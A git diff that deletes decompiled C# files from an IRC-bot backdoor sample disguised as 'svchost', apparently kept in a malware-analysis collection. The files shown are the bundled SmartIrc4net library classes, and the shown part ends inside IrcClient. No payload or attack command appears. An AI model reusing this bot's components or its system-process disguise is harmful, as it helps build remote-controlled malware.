a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSendPacketHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DccSendPacketHandler(object sender, DccSendEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs deleted file mode 100644 index eeea5d5b..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSendRequestEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DccSendRequestEventArgs : DccEventArgs - { - private string _Filename; - private long _Filesize; - - public string Filename => this._Filename; - - public long Filesize => this._Filesize; - - internal DccSendRequestEventArgs(DccConnection dcc, string filename, long filesize) - : base(dcc) - { - this._Filename = filename; - this._Filesize = filesize; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs deleted file mode 100644 index 486c6155..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSendRequestHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DccSendRequestHandler(object sender, DccSendRequestEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs deleted file mode 100644 index 906cb252..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSpeed -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum DccSpeed - { - Rfc, - RfcSendAhead, - Turbo, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs deleted file mode 100644 index 3de5698f..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DehalfopEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DehalfopEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal DehalfopEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs deleted file mode 100644 index bae02ee8..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DehalfopEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DehalfopEventHandler(object sender, DehalfopEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs deleted file mode 100644 index f9861d0e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DeopEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DeopEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal DeopEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs deleted file mode 100644 index c54b5e8e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DeopEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DeopEventHandler(object sender, DeopEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs deleted file mode 100644 index 15d50b69..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DevoiceEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DevoiceEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal DevoiceEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs deleted file mode 100644 index b75ad1c6..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DevoiceEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DevoiceEventHandler(object sender, DevoiceEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs deleted file mode 100644 index ae1c9f80..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ErrorEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class ErrorEventArgs : IrcEventArgs - { - private string _ErrorMessage; - - public string ErrorMessage => this._ErrorMessage; - - internal ErrorEventArgs(IrcMessageData data, string errormsg) - : base(data) - { - this._ErrorMessage = errormsg; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs deleted file mode 100644 index 5ed2fafb..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ErrorEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void ErrorEventHandler(object sender, ErrorEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs deleted file mode 100644 index 0308ee49..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.HalfopEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class HalfopEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal HalfopEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs deleted file mode 100644 index 43f52f56..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.HalfopEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void HalfopEventHandler(object sender, HalfopEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs deleted file mode 100644 index 33e720fe..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.InviteEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class InviteEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - - public string Channel => this._Channel; - - public string Who => this._Who; - - internal InviteEventArgs(IrcMessageData data, string channel, string who) - : base(data) - { - this._Channel = channel; - this._Who = who; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs deleted file mode 100644 index b9d4640e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.InviteEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void InviteEventHandler(object sender, InviteEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs deleted file mode 100644 index d94ced90..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs +++ /dev/null @@ -1,1691 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.Text.RegularExpressions; -using System.Threading; - -namespace Meebey.SmartIrc4net -{ - public class IrcClient : IrcCommands - { - private string _Nickname = string.Empty; - private string[] _NicknameList; - private int _CurrentNickname; - private string _Realname = string.Empty; - private string _Usermode = string.Empty; - private int _IUsermode; - private string _Username = string.Empty; - private string _Password = string.Empty; - private bool _IsAway; - private string _CtcpVersion; - private bool _ActiveChannelSyncing; - private bool _PassiveChannelSyncing; - private bool _AutoJoinOnInvite; - private bool _AutoRejoin; - private Dictionary _AutoRejoinChannels = new Dictionary(); - private bool _AutoRejoinOnKick; - private bool _AutoRelogin; - private bool _AutoNickHandling = true; - private bool _SupportNonRfc; - private bool _SupportNonRfcLocked; - private StringCollection _Motd = new StringCollection(); - private bool _MotdReceived; - private Array _ReplyCodes = Enum.GetValues(typeof (ReplyCode)); - private StringCollection _JoinedChannels = new StringCollection(); - private Hashtable _Channels = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - private Hashtable _IrcUsers = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - private List _ChannelList; - private object _ChannelListSyncRoot = new object(); - private AutoResetEvent _ChannelListReceivedEvent; - private List _WhoList; - private object _WhoListSyncRoot = new object(); - private AutoResetEvent _WhoListReceivedEvent; - private List _BanList; - private object _BanListSyncRoot = new object(); - private AutoResetEvent _BanListReceivedEvent; - private static Regex _ReplyCodeRegex = new Regex("^:[^ ]+? ([0-9]{3}) .+$", RegexOptions.Compiled); - private static Regex _PingRegex = new Regex("^PING :.*", RegexOptions.Compiled); - private static Regex _ErrorRegex = new Regex("^ERROR :.*", RegexOptions.Compiled); - private static Regex _ActionRegex = new Regex("^:.*? PRIVMSG (.).* :\u0001ACTION .*\u0001$", RegexOptions.Compiled); - private static Regex _CtcpRequestRegex = new Regex("^:.*? PRIVMSG .* :\u0001.*\u0001$", RegexOptions.Compiled); - private static Regex _MessageRegex = new Regex("^:.*? PRIVMSG (.).* :.*$", RegexOptions.Compiled); - private static Regex _CtcpReplyRegex = new Regex("^:.*? NOTICE .* :\u0001.*\u0001$", RegexOptions.Compiled); - private static Regex _NoticeRegex = new Regex("^:.*? NOTICE (.).* :.*$", RegexOptions.Compiled); - private static Regex _InviteRegex = new Regex("^:.*? INVITE .* .*$", RegexOptions.Compiled); - private static Regex _JoinRegex = new Regex("^:.*? JOIN .*$", RegexOptions.Compiled); - private static Regex _TopicRegex = new Regex("^:.*? TOPIC .* :.*$", RegexOptions.Compiled); - private static Regex _NickRegex = new Regex("^:.*? NICK .*$", RegexOptions.Compiled); - private static Regex _KickRegex = new Regex("^:.*? KICK .* .*$", RegexOptions.Compiled); - private static Regex _PartRegex = new Regex("^:.*? PART .*$", RegexOptions.Compiled); - private static Regex _ModeRegex = new Regex("^:.*? MODE (.*) .*$", RegexOptions.Compiled); - private static Regex _QuitRegex = new Regex("^:.*? QUIT :.*$", RegexOptions.Compiled); - - public event EventHandler OnRegistered; - - public event PingEventHandler OnPing; - - public event PongEventHandler OnPong; - - public event IrcEventHandler OnRawMessage; - - public event ErrorEventHandler OnError; - - public event IrcEventHandler OnErrorMessage; - - public event JoinEventHandler OnJoin; - - public event NamesEventHandler OnNames; - - public event ListEventHandler OnList; - - public event PartEventHandler OnPart; - - public event QuitEventHandler OnQuit; - - public event KickEventHandler OnKick; - - public event AwayEventHandler OnAway; - - public event IrcEventHandler OnUnAway; - - public event IrcEventHandler OnNowAway; - - public event InviteEventHandler OnInvite; - - public event BanEventHandler OnBan; - - public event UnbanEventHandler OnUnban; - - public event OpEventHandler OnOp; - - public event DeopEventHandler OnDeop; - - public event HalfopEventHandler OnHalfop; - - public event DehalfopEventHandler OnDehalfop; - - public event VoiceEventHandler OnVoice; - - public event DevoiceEventHandler OnDevoice; - - public event WhoEventHandler OnWho; - - public event MotdEventHandler OnMotd; - - public event TopicEventHandler OnTopic; - - public event TopicChangeEventHandler OnTopicChange; - - public event NickChangeEventHandler OnNickChange; - - public event IrcEventHandler OnModeChange; - - public event IrcEventHandler OnUserModeChange; - - public event IrcEventHandler OnChannelModeChange; - - public event IrcEventHandler OnChannelMessage; - - public event ActionEventHandler OnChannelAction; - - public event IrcEventHandler OnChannelNotice; - - public event IrcEventHandler OnChannelActiveSynced; - - public event IrcEventHandler OnChannelPassiveSynced; - - public event IrcEventHandler OnQueryMessage; - - public event ActionEventHandler OnQueryAction; - - public event IrcEventHandler OnQueryNotice; - - public event CtcpEventHandler OnCtcpRequest; - - public event CtcpEventHandler OnCtcpReply; - - public bool ActiveChannelSyncing - { - get => this._ActiveChannelSyncing; - set => this._ActiveChannelSyncing = value; - } - - public bool PassiveChannelSyncing => this._PassiveChannelSyncing; - - public string CtcpVersion - { - get => this._CtcpVersion; - set => this._CtcpVersion = value; - } - - public bool AutoJoinOnInvite - { - get => this._AutoJoinOnInvite; - set => this._AutoJoinOnInvite = value; - } - - public bool AutoRejoin - { - get => this._AutoRejoin; - set => this._AutoRejoin = value; - } - - public bool AutoRejoinOnKick - { - get => this._AutoRejoinOnKick; - set => this._AutoRejoinOnKick = value; - } - - public bool AutoRelogin - { - get => this._AutoRelogin; - set => this._AutoRelogin = value; - } - - public bool AutoNickHandling - { - get => this._AutoNickHandling; - set => this._AutoNickHandling = value; - } - - public bool SupportNonRfc - { - get => this._SupportNonRfc; - set - { - if (this._SupportNonRfcLocked) - return; - this._SupportNonRfc = value; - } - } - - public string Nickname => this._Nickname; - - public string[] NicknameList => this._NicknameList; - - public string Realname => this._Realname; - - public string Username => this._Username; - - public string Usermode => this._Usermode; - - public int IUsermode => this._IUsermode; - - public bool IsAway => this._IsAway; - - public string Password => this._Password; - - public StringCollection JoinedChannels => this._JoinedChannels; - - public StringCollection Motd => this._Motd; - - public object BanListSyncRoot => this._BanListSyncRoot; - - public IrcClient() - { - this.OnReadLine += new ReadLineEventHandler(this._Worker); - this.OnDisconnected += new EventHandler(this._OnDisconnected); - this.OnConnectionError += new EventHandler(this._OnConnectionError); - } - - public new void Connect(string[] addresslist, int port) - { - this._SupportNonRfcLocked = true; - base.Connect(addresslist, port); - } - - public void Reconnect(bool login, bool channels) - { - if (channels) - 